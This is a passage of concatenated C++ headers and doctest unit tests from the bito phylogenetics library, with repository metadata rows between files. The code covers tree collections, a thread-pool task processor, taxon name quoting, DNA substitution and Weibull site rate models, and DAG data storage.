parent_test.setZero();
for (size_t child = 0; child < 2; child++) {
parent_test += sh2.ParentPartial(child_partials.col(child));
}
auto parent_correct = Eigen::Matrix<double, 4, 1>();
parent_correct << 6., 7., 6., 8.;
CHECK(parent_test.isApprox(parent_correct));
}
TEST_CASE("SankoffHandler: Asymmetric cost matrix test on single site sequence.") {
auto fasta_file = "data/hello_single_nucleotide.fasta";
auto newick_file = "data/hello_rooted.nwk";
Alignment alignment = Alignment::ReadFasta(fasta_file);
Driver driver;
RootedTreeCollection tree_collection =
RootedTreeCollection::OfTreeCollection(driver.ParseNewickFile(newick_file));
SitePattern site_pattern = SitePattern(alignment, tree_collection.TagTaxonMap());
Node::NodePtr topology = tree_collection.GetTree(0).Topology();
// transitions have cost 1 and transversions have cost 2.5
auto costs = CostMatrix();
costs << 0., 2., 3., 4., //
5., 0., 7., 8., //
9., 10., 0., 12., //
13., 14., 15., 0.; //
SankoffHandler sh = SankoffHandler(costs, site_pattern, "_ignore/mmapped_psv.data");
sh.RunSankoff(topology);
CHECK_LT(fabs(sh.ParsimonyScore(0) - 8.), 1e-10);
}
TEST_CASE("SankoffHandler: Testing sequence gap characters in GenerateLeafPartials()") {
auto fasta_file = "data/hello.fasta";
auto newick_file = "data/hello_rooted.nwk";
Alignment alignment = Alignment::ReadFasta(fasta_file);
Driver driver;
RootedTreeCollection tree_collection =
RootedTreeCollection::OfTreeCollection(driver.ParseNewickFile(newick_file));
SitePattern site_pattern = SitePattern(alignment, tree_collection.TagTaxonMap());
Node::NodePtr topology = tree_collection.GetTree(0).Topology();
size_t taxon_count = site_pattern.TaxonCount();
// test set up for SankoffHandler with default cost matrix
SankoffHandler default_sh = SankoffHandler(site_pattern, "_ignore/mmapped_psv.data");
// testing GenerateLeafPartials() method
default_sh.GenerateLeafPartials();
auto leaves_test = default_sh.PartialsAtPattern(PSVType::PLeft, 14);
SankoffPartial leaves_correct_pattern_14(4, topology->Id() + 1);
auto big_double = SankoffHandler::big_double_;
// column 1 is G(jupiter), column 2 is -(mars), Column 3 is G(saturn)
leaves_correct_pattern_14 << big_double, 0., big_double, 0., 0., big_double, 0.,
big_double, 0., 0., 0., 0., 0., 0., 0., big_double, 0., big_double, 0., 0.;
for (size_t r = 0; r < taxon_count; r++) {
CHECK(leaves_test[r].isApprox(leaves_correct_pattern_14.col(r)));
}
}
TEST_CASE("SankoffHandler: RunSankoff and ParsimonyScore Tests") {
auto fasta_file = "data/parsimony_leaf_seqs.fasta";
auto newick_file = "data/parsimony_tree_0_score_75.0.nwk";
Alignment alignment = Alignment::ReadFasta(fasta_file);
Driver driver;
RootedTreeCollection tree_collection =
RootedTreeCollection::OfTreeCollection(driver.ParseNewickFile(newick_file));
SitePattern site_pattern = SitePattern(alignment, tree_collection.TagTaxonMap());
Node::NodePtr topology = tree_collection.GetTree(0).Topology();
// test set up for SankoffHandler with default cost matrix
SankoffHandler default_sh = SankoffHandler(site_pattern, "_ignore/mmapped_psv.data");
double parsimony_score_correct = 75.;
default_sh.RunSankoff(topology);
for (NodeId node_id = 0; node_id < topology->Id() + 1; node_id++) {
CHECK_LT(fabs(default_sh.ParsimonyScore(node_id) - parsimony_score_correct), 1e-10);
}
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 11,077
|
C++
|
.h
| 219
| 45.447489
| 88
| 0.705203
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,131
|
generic_tree_collection.hpp
|
phylovi_bito/src/generic_tree_collection.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
#pragma once
#include <fstream>
#include <memory>
#include <string>
#include <unordered_map>
#include <utility>
#include <vector>
#include "tree.hpp"
template <typename TTree>
class GenericTreeCollection {
protected:
using TTreeVector = std::vector<TTree>;
public:
GenericTreeCollection() = default;
explicit GenericTreeCollection(TTreeVector trees) : trees_(std::move(trees)) {
if (!trees_.empty()) {
auto leaf_count = trees_[0].LeafCount();
auto different_leaf_count = [leaf_count](const auto &tree) {
return tree.LeafCount() != leaf_count;
};
if (std::any_of(trees_.cbegin(), trees_.cend(), different_leaf_count)) {
Failwith("Trees must all have the same number of tips in a tree collection.");
}
}
}
GenericTreeCollection(TTreeVector trees, TagStringMap tag_taxon_map)
: trees_(std::move(trees)), tag_taxon_map_(std::move(tag_taxon_map)) {
auto taxon_count = tag_taxon_map.size();
auto different_taxon_count = [taxon_count](const auto &tree) {
return tree.LeafCount() != taxon_count;
};
if (std::any_of(trees.cbegin(), trees.cend(), different_taxon_count)) {
Failwith(
"Tree leaf count doesn't match the size of tag_taxon_map when building a "
"tree collection.");
}
}
GenericTreeCollection(TTreeVector trees, const std::vector<std::string> &taxon_labels)
: GenericTreeCollection(std::move(trees), TagStringMapOf(taxon_labels)) {}
size_t TreeCount() const { return trees_.size(); }
const TTreeVector &Trees() const { return trees_; }
const TTree &GetTree(size_t i) const { return trees_.at(i); }
// A tag is a packed int of two values: (1) node id, (2) leaf count below node. For
// taxa, the node id is the taxon id and the leaf count is 1.
const TagStringMap &TagTaxonMap() const { return tag_taxon_map_; }
size_t TaxonCount() const { return tag_taxon_map_.size(); }
bool operator==(const GenericTreeCollection<TTree> &other) const {
if (this->TagTaxonMap() != other.TagTaxonMap()) {
return false;
}
if (TreeCount() != other.TreeCount()) {
return false;
}
for (size_t i = 0; i < TreeCount(); i++) {
if (this->GetTree(i) != other.GetTree(i)) {
return false;
}
}
return true;
}
// Remove trees from begin_idx to just before end_idx.
void Erase(size_t begin_idx, size_t end_idx) {
if (begin_idx > end_idx || end_idx > TreeCount()) {
Failwith("Illegal arguments to Tree_Collection.Erase.");
}
// else:
using difference_type = typename TTreeVector::difference_type;
trees_.erase(trees_.begin() + static_cast<difference_type>(begin_idx),
trees_.begin() + static_cast<difference_type>(end_idx));
}
// Drop the first fraction trees from the collection.
void DropFirst(double fraction) {
Assert(fraction >= 0. && fraction <= 1., "Illegal argument to DropFirst.");
auto end_idx = static_cast<size_t>(fraction * static_cast<double>(TreeCount()));
Erase(0, end_idx);
}
// Build a tree collection by duplicating the first tree loaded.
GenericTreeCollection<TTree> BuildCollectionByDuplicatingFirst(
size_t number_of_times) {
TTreeVector tree_vector;
Assert(TreeCount() > 0, "Need at least one tree if we are to duplicate the first.");
tree_vector.reserve(number_of_times);
for (size_t idx = 0; idx < number_of_times; idx++) {
tree_vector.push_back(GetTree(0).DeepCopy());
}
return GenericTreeCollection<TTree>(std::move(tree_vector), TagTaxonMap());
}
std::string Newick() const {
std::string str;
for (const auto &tree : trees_) {
if (tag_taxon_map_.empty()) {
str.append(tree.Newick());
} else {
str.append(tree.Newick(tag_taxon_map_));
}
str.push_back('\n');
}
return str;
}
void ToNewickFile(const std::string &out_path) const {
std::ofstream out_stream(out_path);
out_stream << Newick();
out_stream.close();
if (!out_stream) {
Failwith("ToNewickFile: could not write file to " + out_path);
}
}
void ToNewickTopologyFile(const std::string &out_path) const {
std::ofstream out_stream(out_path);
for (const auto &tree : trees_) {
out_stream << tree.NewickTopology(tag_taxon_map_) << std::endl;
}
out_stream.close();
if (!out_stream) {
Failwith("ToNewickTopologyFile: could not write file to " + out_path);
}
}
Node::TopologyCounter TopologyCounter() const {
Node::TopologyCounter counter;
for (const auto &tree : trees_) {
auto search = counter.find(tree.Topology());
if (search == counter.end()) {
SafeInsert(counter, tree.Topology(), static_cast<uint32_t>(1));
} else {
search->second++;
}
}
return counter;
}
std::vector<std::string> TaxonNames() const {
std::vector<std::string> names(tag_taxon_map_.size());
for (const auto &iter : tag_taxon_map_) {
size_t id = MaxLeafIDOfTag(iter.first);
Assert(id < names.size(),
"Leaf ID is out of range in TaxonNames for tree collection.");
names[id] = iter.second;
}
return names;
}
static TagStringMap TagStringMapOf(const std::vector<std::string> &taxon_labels) {
TagStringMap taxon_map;
for (size_t index = 0; index < taxon_labels.size(); index++) {
SafeInsert(taxon_map, PackInts(static_cast<uint32_t>(index), 1),
taxon_labels[index]);
}
return taxon_map;
}
static GenericTreeCollection UnitBranchLengthTreesOf(
std::vector<Node::NodePtr> topologies, TagStringMap tag_taxon_map) {
std::vector<TTree> tree_vector;
for (const auto &topology : topologies) {
tree_vector.push_back(TTree::UnitBranchLengthTreeOf(topology));
}
return GenericTreeCollection(tree_vector, tag_taxon_map);
}
auto begin() const { return trees_.begin(); }
auto end() const { return trees_.end(); }
TTreeVector trees_;
protected:
TagStringMap tag_taxon_map_;
};
// Tests appear in non-generic subclasses.
| 6,214
|
C++
|
.h
| 164
| 32.786585
| 88
| 0.661464
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,132
|
task_processor.hpp
|
phylovi_bito/src/task_processor.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
// This code started life as the example from the excellent blog post at
// https://embeddedartistry.com/blog/2017/2/1/c11-implementing-a-dispatch-queue-using-stdfunction
//
// The setup is that we have a Task that we want to run on a bunch of units of
// Work. The Task needs an Executor to run, and we have a pool of those
// available. We want to run the Tasks in parallel on as many threads as we have
// Executors.
//
// For this, build queues of Executors and Work, then make a TaskProcessor out
// of them that does the work as specified in the queues. Work begins right away
// in the constructor. To get the work to complete, you can just let the
// TaskProcessor go out of scope, or explicitly call the Wait method for it to
// complete.
//
// Note that we don't make any effort to ensure safety. For example, there is
// nothing keeping you from having abundant data races if your Executors have
// non-independent state.
//
// The fact that there are fewer Executors than Tasks is what requires some
// design like this-- we can't just use something like a C++17 parallel for
// loop.
//
// I realize that it's not recommended to write your own thread-handling
// library, and for good reason: see https://www.youtube.com/watch?v=QIHy8pXbneI
// https://sean-parent.stlab.cc/presentations/2016-08-08-concurrency/2016-08-08-concurrency.pdf
// However, here the tasks are few and big, the time required during locking is
// small (put an integer in a dequeue). The overhead of including a true
// threading library wouldn't be worth it for this example.
#pragma once
#include <condition_variable>
#include <functional>
#include <mutex>
#include <queue>
#include <thread>
#include <vector>
template <class Executor, class Work>
class TaskProcessor {
public:
using Task = std::function<void(Executor, Work)>;
using ExecutorQueue = std::queue<Executor>;
using WorkQueue = std::queue<Work>;
TaskProcessor(ExecutorQueue executor_queue, WorkQueue work_queue, Task task)
: executor_queue_(executor_queue),
work_queue_(work_queue),
task_(task),
threads_(executor_queue.size()) {
// Make as many threads as there are executors.
for (size_t i = 0; i < threads_.size(); i++) {
threads_[i] = std::thread(&TaskProcessor::thread_handler, this);
}
Wait();
}
// Delete (copy + move) x (constructor + assignment)
TaskProcessor(const TaskProcessor &) = delete;
TaskProcessor(const TaskProcessor &&) = delete;
TaskProcessor &operator=(const TaskProcessor &) = delete;
TaskProcessor &operator=(const TaskProcessor &&) = delete;
~TaskProcessor() {}
void Wait() {
condition_variable_.notify_all();
// Wait for threads to finish before we exit
for (size_t i = 0; i < threads_.size(); i++) {
if (threads_[i].joinable()) {
threads_[i].join();
}
}
threads_rejoined_ = true;
if (exception_ptr_ != nullptr) {
std::rethrow_exception(exception_ptr_);
}
}
private:
ExecutorQueue executor_queue_;
WorkQueue work_queue_;
Task task_;
std::vector<std::thread> threads_;
std::mutex lock_;
std::condition_variable condition_variable_;
bool threads_rejoined_ = false;
std::exception_ptr exception_ptr_ = nullptr;
std::mutex exception_lock_;
void thread_handler() {
std::unique_lock<std::mutex> lock(lock_);
bool exception_occurred = false;
// Continue allocating free executors for work until no more work.
while (work_queue_.size()) {
// Check if any thread has recorded an exception. If so, end work.
exception_lock_.lock();
exception_occurred = (exception_ptr_ != nullptr);
exception_lock_.unlock();
if (exception_occurred) {
break;
}
// Wait until we have an executor available. This right here is the key of
// the whole implementation, giving a nice way to wait until the resources
// are available to run the next thing in the queue.
condition_variable_.wait(lock, [this] { return executor_queue_.size(); });
// After wait, we own the lock.
if (work_queue_.size()) {
auto work = work_queue_.front();
work_queue_.pop();
auto executor = executor_queue_.front();
executor_queue_.pop();
// Unlock now that we're done messing with the queues.
lock.unlock();
// Run task.
try {
task_(executor, work);
} catch (...) {
// If the task throws an exception, make record it for the master thread.
exception_lock_.lock();
if (exception_ptr_ == nullptr) {
exception_ptr_ = std::current_exception();
}
exception_lock_.unlock();
}
// Lock again so that we can mess with the queues.
lock.lock();
// We're done with the executor so we can put it back on the queue.
executor_queue_.push(executor);
}
}
}
};
#ifdef DOCTEST_LIBRARY_INCLUDED
TEST_CASE("TaskProcessor") {
std::queue<int> executor_queue;
std::queue<size_t> work_queue;
std::vector<float> results(8);
// Say we have 4 executors.
for (auto i = 0; i < 4; i++) {
executor_queue.push(i);
}
// Our Work in this example is just size_t's.
for (size_t i = 0; i < results.size(); i++) {
work_queue.push(i);
}
// And our task is just to cast this size_t to a float and store it in the
// corresponding location of the results array.
auto task = [&results](int /*executor*/, size_t work) {
// std::cout << "work " << work << " on " << executor << std::endl;
results[work] = static_cast<float>(work);
};
TaskProcessor<int, size_t> processor(executor_queue, work_queue, task);
processor.Wait();
std::vector<float> correct_results({0, 1, 2, 3, 4, 5, 6, 7});
CHECK_EQ(results, correct_results);
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 5,970
|
C++
|
.h
| 151
| 35.15894
| 97
| 0.676658
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,133
|
taxon_name_munging.hpp
|
phylovi_bito/src/taxon_name_munging.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
#pragma once
#include <functional>
#include "sugar.hpp"
namespace TaxonNameMunging {
std::string QuoteString(const std::string &in_str);
std::string DequoteString(const std::string &in_str);
TagStringMap DequoteTagStringMap(const TagStringMap &tag_string_map);
// Make each date in tag_date_map the given date minus the maximum date.
void MakeDatesRelativeToMaximum(TagDoubleMap &tag_date_map);
// Returns a map from each tag to zero.
TagDoubleMap ConstantDatesForTagTaxonMap(TagStringMap tag_taxon_map);
// Parses dates as numbers appearing after an underscore. Returns a map specifying the
// height of each taxon compared to the maximum date.
TagDoubleMap ParseDatesFromTagTaxonMap(TagStringMap tag_taxon_map);
} // namespace TaxonNameMunging
#ifdef DOCTEST_LIBRARY_INCLUDED
TEST_CASE("TaxonNameMunging") {
using namespace TaxonNameMunging;
std::string unquoted_test(R"raw(hello 'there" friend)raw");
std::string double_quoted_test(R"raw("this is a \" test")raw");
std::string double_quoted_dequoted(R"raw(this is a " test)raw");
std::string single_quoted_test(R"raw('this is a \' test')raw");
std::string single_quoted_dequoted(R"raw(this is a ' test)raw");
CHECK_EQ(QuoteString(unquoted_test), R"raw("hello 'there\" friend")raw");
CHECK_EQ(DequoteString(double_quoted_test), double_quoted_dequoted);
CHECK_EQ(DequoteString(single_quoted_test), single_quoted_dequoted);
CHECK_EQ(DequoteString(QuoteString(unquoted_test)), unquoted_test);
TagStringMap test_map(
{{2, unquoted_test}, {3, double_quoted_test}, {5, single_quoted_test}});
TagStringMap expected_test_map(
{{2, unquoted_test}, {3, double_quoted_dequoted}, {5, single_quoted_dequoted}});
CHECK_EQ(expected_test_map, DequoteTagStringMap(test_map));
// Test of TagDateMapOfTagTaxonMap appears in rooted_sbn_instance.hpp.
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 1,995
|
C++
|
.h
| 37
| 51.513514
| 86
| 0.771326
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,134
|
substitution_model.hpp
|
phylovi_bito/src/substitution_model.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
#pragma once
#include <memory>
#include <string>
#include <vector>
#include "block_model.hpp"
#include "eigen_sugar.hpp"
#include "sugar.hpp"
class SubstitutionModel : public BlockModel {
public:
SubstitutionModel(const BlockSpecification::ParamCounts& param_counts)
: BlockModel(param_counts) {}
virtual ~SubstitutionModel() = default;
size_t GetStateCount() const { return frequencies_.size(); }
const EigenMatrixXd& GetQMatrix() const { return Q_; }
const EigenVectorXd& GetFrequencies() const { return frequencies_; }
const EigenVectorXd& GetRates() const { return rates_; }
// We follow BEAGLE in terminology. "Inverse Eigenvectors" means the inverse
// of the matrix containing the eigenvectors.
const EigenMatrixXd& GetEigenvectors() const { return eigenvectors_; }
const EigenMatrixXd& GetInverseEigenvectors() const { return inverse_eigenvectors_; }
const EigenVectorXd& GetEigenvalues() const { return eigenvalues_; }
virtual void SetParameters(const EigenVectorXdRef param_vector) = 0;
// This is the factory method that will be the typical way of buiding
// substitution models.
static std::unique_ptr<SubstitutionModel> OfSpecification(
const std::string& specification);
inline const static std::string rates_key_ = "substitution_model_rates";
inline const static std::string frequencies_key_ = "substitution_model_frequencies";
protected:
EigenVectorXd frequencies_;
EigenVectorXd rates_;
EigenMatrixXd eigenvectors_;
EigenMatrixXd inverse_eigenvectors_;
EigenVectorXd eigenvalues_;
EigenMatrixXd Q_;
};
class DNAModel : public SubstitutionModel {
public:
DNAModel(const BlockSpecification::ParamCounts& param_counts)
: SubstitutionModel(param_counts) {
frequencies_.resize(4);
eigenvectors_.resize(4, 4);
inverse_eigenvectors_.resize(4, 4);
eigenvalues_.resize(4);
Q_.resize(4, 4);
}
protected:
virtual void UpdateEigendecomposition();
virtual void UpdateQMatrix() = 0;
void Update();
};
class JC69Model : public DNAModel {
public:
JC69Model() : DNAModel({}) {
frequencies_ << 0.25, 0.25, 0.25, 0.25;
Update();
}
// No parameters to set for JC!
void SetParameters(const EigenVectorXdRef) override{}; // NOLINT
virtual void UpdateEigendecomposition() override;
void UpdateQMatrix() override;
};
class GTRModel : public DNAModel {
public:
explicit GTRModel() : DNAModel({{rates_key_, 6}, {frequencies_key_, 4}}) {
rates_.resize(6);
rates_.setConstant(1.0 / 6.0);
frequencies_ << 0.25, 0.25, 0.25, 0.25;
Update();
}
void SetParameters(const EigenVectorXdRef param_vector) override;
protected:
void UpdateQMatrix() override;
};
// The Hasegawa, Kishino and Yano (HKY) susbtitution model.
//
// Reference:
// Hasegawa, M., Kishino, H. and Yano, T.A., 1985. Dating of the human-ape splitting
// by a molecular clock of mitochondrial DNA. Journal of molecular evolution, 22(2),
// pp.160-174.
class HKYModel : public DNAModel {
public:
explicit HKYModel() : DNAModel({{rates_key_, 1}, {frequencies_key_, 4}}) {
rates_.resize(1);
rates_.setConstant(1.0);
frequencies_ << 0.25, 0.25, 0.25, 0.25;
Update();
}
void SetParameters(const EigenVectorXdRef param_vector) override;
protected:
virtual void UpdateEigendecomposition() override;
void UpdateQMatrix() override;
};
#ifdef DOCTEST_LIBRARY_INCLUDED
#include <algorithm>
TEST_CASE("SubstitutionModel") {
auto CheckEigenvalueEquality = [](EigenVectorXd eval1, EigenVectorXd eval2) {
std::sort(eval1.begin(), eval1.end());
std::sort(eval2.begin(), eval2.end());
CheckVectorXdEquality(eval1, eval2, 0.0001);
};
auto gtr_model = std::make_unique<GTRModel>();
auto hky_model = std::make_unique<HKYModel>();
auto jc_model = std::make_unique<JC69Model>();
// Test 1: First we test using the "built in" default values.
CheckEigenvalueEquality(jc_model->GetEigenvalues(), gtr_model->GetEigenvalues());
CheckEigenvalueEquality(jc_model->GetEigenvalues(), hky_model->GetEigenvalues());
EigenVectorXd param_vector(10);
// Test 2: Now try out ParameterSegmentMapOf.
gtr_model = std::make_unique<GTRModel>();
// First zero out our param_vector.
param_vector.setZero();
// We can use ParameterSegmentMapOf to get two "views" into our parameter
// vector.
auto parameter_map =
gtr_model->GetBlockSpecification().ParameterSegmentMapOf(param_vector);
auto frequencies = parameter_map.at(SubstitutionModel::frequencies_key_);
auto rates = parameter_map.at(SubstitutionModel::rates_key_);
// When we modify the contents of these views, that changes param_vector.
frequencies.setConstant(0.25);
rates.setConstant(1.0 / 6.0);
// We can then set param_vector and go forward as before.
gtr_model->SetParameters(param_vector);
CheckEigenvalueEquality(jc_model->GetEigenvalues(), gtr_model->GetEigenvalues());
// Test 3: Compare to eigenvalues from R.
frequencies << 0.479367, 0.172572, 0.140933, 0.207128;
rates << 0.060602, 0.402732, 0.028230, 0.047910, 0.407249, 0.053277;
gtr_model->SetParameters(param_vector);
EigenVectorXd eigen_values_r(4);
eigen_values_r << -2.567992e+00, -1.760838e+00, -4.214918e-01, 1.665335e-16;
CheckEigenvalueEquality(eigen_values_r, gtr_model->GetEigenvalues());
// Test HKY against GTR
EigenVectorXd hky_param_vector(5);
hky_param_vector.setZero();
auto hky_parameter_map =
hky_model->GetBlockSpecification().ParameterSegmentMapOf(hky_param_vector);
auto hky_frequencies = hky_parameter_map.at(SubstitutionModel::frequencies_key_);
auto hky_kappa = hky_parameter_map.at(SubstitutionModel::rates_key_);
hky_frequencies << 0.1, 0.2, 0.3, 0.4;
hky_kappa.setConstant(3.0);
hky_model->SetParameters(hky_param_vector);
frequencies << 0.1, 0.2, 0.3, 0.4;
rates << 0.1, 0.3, 0.1, 0.1, 0.3, 0.1;
gtr_model->SetParameters(param_vector);
CheckEigenvalueEquality(gtr_model->GetEigenvalues(), hky_model->GetEigenvalues());
CHECK(gtr_model->GetQMatrix().isApprox(hky_model->GetQMatrix()));
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 6,209
|
C++
|
.h
| 150
| 38.353333
| 87
| 0.737914
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,135
|
site_model.hpp
|
phylovi_bito/src/site_model.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
#pragma once
#include <memory>
#include <numeric>
#include <string>
#include <vector>
#include "block_model.hpp"
class SiteModel : public BlockModel {
public:
SiteModel(const BlockSpecification::ParamCounts& param_counts)
: BlockModel(param_counts) {}
virtual ~SiteModel() = default;
virtual size_t GetCategoryCount() const = 0;
virtual const EigenVectorXd& GetCategoryRates() const = 0;
virtual const EigenVectorXd& GetCategoryProportions() const = 0;
virtual const EigenVectorXd& GetRateGradient() const = 0;
static std::unique_ptr<SiteModel> OfSpecification(const std::string& specification);
};
class ConstantSiteModel : public SiteModel {
public:
ConstantSiteModel()
: SiteModel({}), zero_(EigenVectorXd::Zero(1)), one_(EigenVectorXd::Ones(1)) {}
size_t GetCategoryCount() const override { return 1; }
const EigenVectorXd& GetCategoryRates() const override { return one_; }
const EigenVectorXd& GetCategoryProportions() const override { return one_; }
const EigenVectorXd& GetRateGradient() const override { return zero_; };
void SetParameters(const EigenVectorXdRef param_vector) override{};
private:
EigenVectorXd zero_;
EigenVectorXd one_;
};
class WeibullSiteModel : public SiteModel {
public:
explicit WeibullSiteModel(size_t category_count, double shape)
: SiteModel({{shape_key_, 1}}),
category_count_(category_count),
shape_(shape),
rate_derivatives_(category_count) {
category_rates_.resize(category_count);
category_proportions_.resize(category_count);
for (size_t i = 0; i < category_count; i++) {
category_proportions_[i] = 1.0 / category_count;
}
UpdateRates();
}
size_t GetCategoryCount() const override;
const EigenVectorXd& GetCategoryRates() const override;
const EigenVectorXd& GetCategoryProportions() const override;
const EigenVectorXd& GetRateGradient() const override;
void SetParameters(const EigenVectorXdRef param_vector) override;
inline const static std::string shape_key_ = "Weibull_shape";
private:
void UpdateRates();
size_t category_count_;
double shape_; // shape of the Weibull distribution
EigenVectorXd rate_derivatives_;
EigenVectorXd category_rates_;
EigenVectorXd category_proportions_;
};
#ifdef DOCTEST_LIBRARY_INCLUDED
#include <algorithm>
TEST_CASE("SiteModel") {
// Test 1: First we test using the "built in" default values.
auto weibull_model = std::make_unique<WeibullSiteModel>(4, 1.0);
const EigenVectorXd rates = weibull_model->GetCategoryRates();
EigenVectorXd rates_r(4);
rates_r << 0.1457844, 0.5131316, 1.0708310, 2.2702530;
CheckVectorXdEquality(rates, rates_r, 0.0001);
// Test 2: Now set param_vector using SetParameters.
weibull_model = std::make_unique<WeibullSiteModel>(4, 1.0);
EigenVectorXd param_vector(1);
param_vector << 0.1;
weibull_model->SetParameters(param_vector);
rates_r << 4.766392e-12, 1.391131e-06, 2.179165e-03, 3.997819e+00;
const EigenVectorXd rates2 = weibull_model->GetCategoryRates();
CheckVectorXdEquality(rates2, rates_r, 0.0001);
// Test 3: Check proportions.
const EigenVectorXd proportions = weibull_model->GetCategoryProportions();
CheckVectorXdEquality(0.25, proportions, 0.0001);
// Test 4: Check sum rates[i]*proportions[i]==1.
CHECK_LT(fabs(rates.dot(proportions) - 1.), 0.0001);
CHECK_LT(fabs(rates2.dot(proportions) - 1.), 0.0001);
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 3,584
|
C++
|
.h
| 85
| 38.882353
| 86
| 0.747986
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,136
|
dag_data.hpp
|
phylovi_bito/src/dag_data.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// This class handles DAG General Data stored on nodes or edges. Handles storage and
// resizing of data vectors.
#pragma once
#include "resizer.hpp"
#include "reindexer.hpp"
#include "gp_dag.hpp"
#include "graft_dag.hpp"
class GPDAG;
class GraftDAG;
template <class VectorType, class DataType, class DAGElementId,
size_t DataPerElement = 1>
class DAGData {
public:
explicit DAGData(const std::optional<const size_t> count = std::nullopt,
std::optional<DataType> default_value = std::nullopt)
: data_vec_() {
size_t init_count = (count.has_value() ? count.value() : 0);
size_t init_alloc = std::max(init_alloc_, (init_count + spare_count_) * 2);
Resize(init_count, spare_count_, init_alloc);
if (default_value.has_value()) {
SetDefaultValue(default_value.value());
FillWithDefault();
}
}
// ** Counts
// Set data size.
void SetCount(const size_t count) { count_ = count; }
void SetSpareCount(const size_t spare_count) { spare_count_ = spare_count; }
void SetAllocCount(const size_t alloc_count) { alloc_count_ = alloc_count; }
// Get data size.
size_t size() const { return data_vec_.size(); }
size_t GetCount() const { return count_; }
size_t GetSpareCount() const { return spare_count_; }
size_t GetPaddedCount() const { return count_ + spare_count_; }
size_t GetAllocCount() const { return alloc_count_; }
// ** Access
// Access element in data.
DataType &Get(const DAGElementId element_id) {
Assert(element_id.value_ <= GetPaddedCount(),
"Attempted to access element out of range.");
return data_vec_[element_id.value_];
}
const DataType &Get(const DAGElementId element_id) const {
Assert(element_id.value_ <= GetPaddedCount(),
"Attempted to access element out of range.");
return data_vec_[element_id.value_];
}
DataType &operator()(const DAGElementId element_id) { return Get(element_id); }
const DataType &operator()(const DAGElementId element_id) const {
return Get(element_id);
}
DataType &GetSpare(const DAGElementId element_id) {
return Get(DAGElementId(element_id.value_ + GetCount()));
}
const DataType &GetSpare(const DAGElementId element_id) const {
return Get(DAGElementId(element_id.value_ + GetCount()));
}
// Get full data vector.
VectorType &GetData() { return data_vec_; }
const VectorType &GetData() const { return data_vec_; }
// Get data corresponding to the DAG elements.
VectorType GetDAGData() const { return data_vec_.segment(0, GetCount()); }
// Get data corresponding to the DAG elements, including spare elements.
VectorType GetPaddedDAGData() const { return data_vec_.segment(0, GetPaddedCount()); }
// Get data corresponding to the DAG elements.
void SetDAGData(const VectorType &data_vec) {
Assert(GetCount() == size_t(data_vec.size()),
"Data Vector must be of equal size to current count.");
for (size_t i = 0; i < GetCount(); i++) {
data_vec_[i] = data_vec[i];
}
}
// Set data corresponding to the DAG elements, including spare elements.
void SetPaddedDAGData(const VectorType &data_vec) {
Assert(GetPaddedCount() == size_t(data_vec.size()),
"Data Vector must be of equal size to current count.");
for (size_t i = 0; i < GetCount(); i++) {
data_vec_[i] = data_vec[i];
}
}
// Value to assign to newly added elements.
std::optional<DataType> HasDefaultValue() const { return default_value_.has_value(); }
DataType GetDefaultValue() const {
Assert(default_value_.has_value(), "Cannot be called when DefaultValue not set.");
return default_value_.value();
}
void SetDefaultValue(const DataType default_value) { default_value_ = default_value; }
// Fill all cells with given value.
void Fill(const DataType fill_value) {
for (size_t i = 0; i < GetPaddedCount(); i++) {
data_vec_[i] = fill_value;
}
}
void FillWithDefault() {
Assert(default_value_.has_value(), "Cannot be called when DefaultValue not set.");
Fill(default_value_.value());
}
// ** Maintanence
// Resizes data vector.
void Resize(std::optional<const size_t> new_count = std::nullopt,
std::optional<const size_t> new_spare = std::nullopt,
std::optional<const size_t> explicit_alloc = std::nullopt,
std::optional<const Reindexer> reindexer = std::nullopt) {
const Resizer resizer(GetCount(), GetSpareCount(), GetAllocCount(), new_count,
new_spare, explicit_alloc, resizing_factor_);
Resize(resizer, reindexer);
}
// Resizes data vector.
void Resize(const Resizer &resizer,
std::optional<const Reindexer> reindexer = std::nullopt) {
resizer.ApplyResizeToEigenVector<VectorType, DataType>(data_vec_, default_value_);
SetCount(resizer.GetNewCount());
SetSpareCount(resizer.GetNewSpare());
SetAllocCount(resizer.GetNewAlloc());
if (reindexer.has_value()) {
Reindex(reindexer.value(), resizer.GetNewCount());
}
}
// Reindex data vector. If reindexing during a resize, then length should be the old
// count.
void Reindex(const Reindexer &reindexer, const size_t length) {
Reindexer::ReindexInPlace<VectorType, DataType>(data_vec_, reindexer, length);
}
auto begin() { return data_vec_.begin(); }
auto end() { return data_vec_.end(); }
protected:
// Data vector
VectorType data_vec_;
size_t data_per_element_ = DataPerElement;
// Value for determining growth rate of data vector.
double resizing_factor_ = 2.0;
// Value to set newly allocated data to.
std::optional<DataType> default_value_ = std::nullopt;
// Counts
size_t count_ = 0;
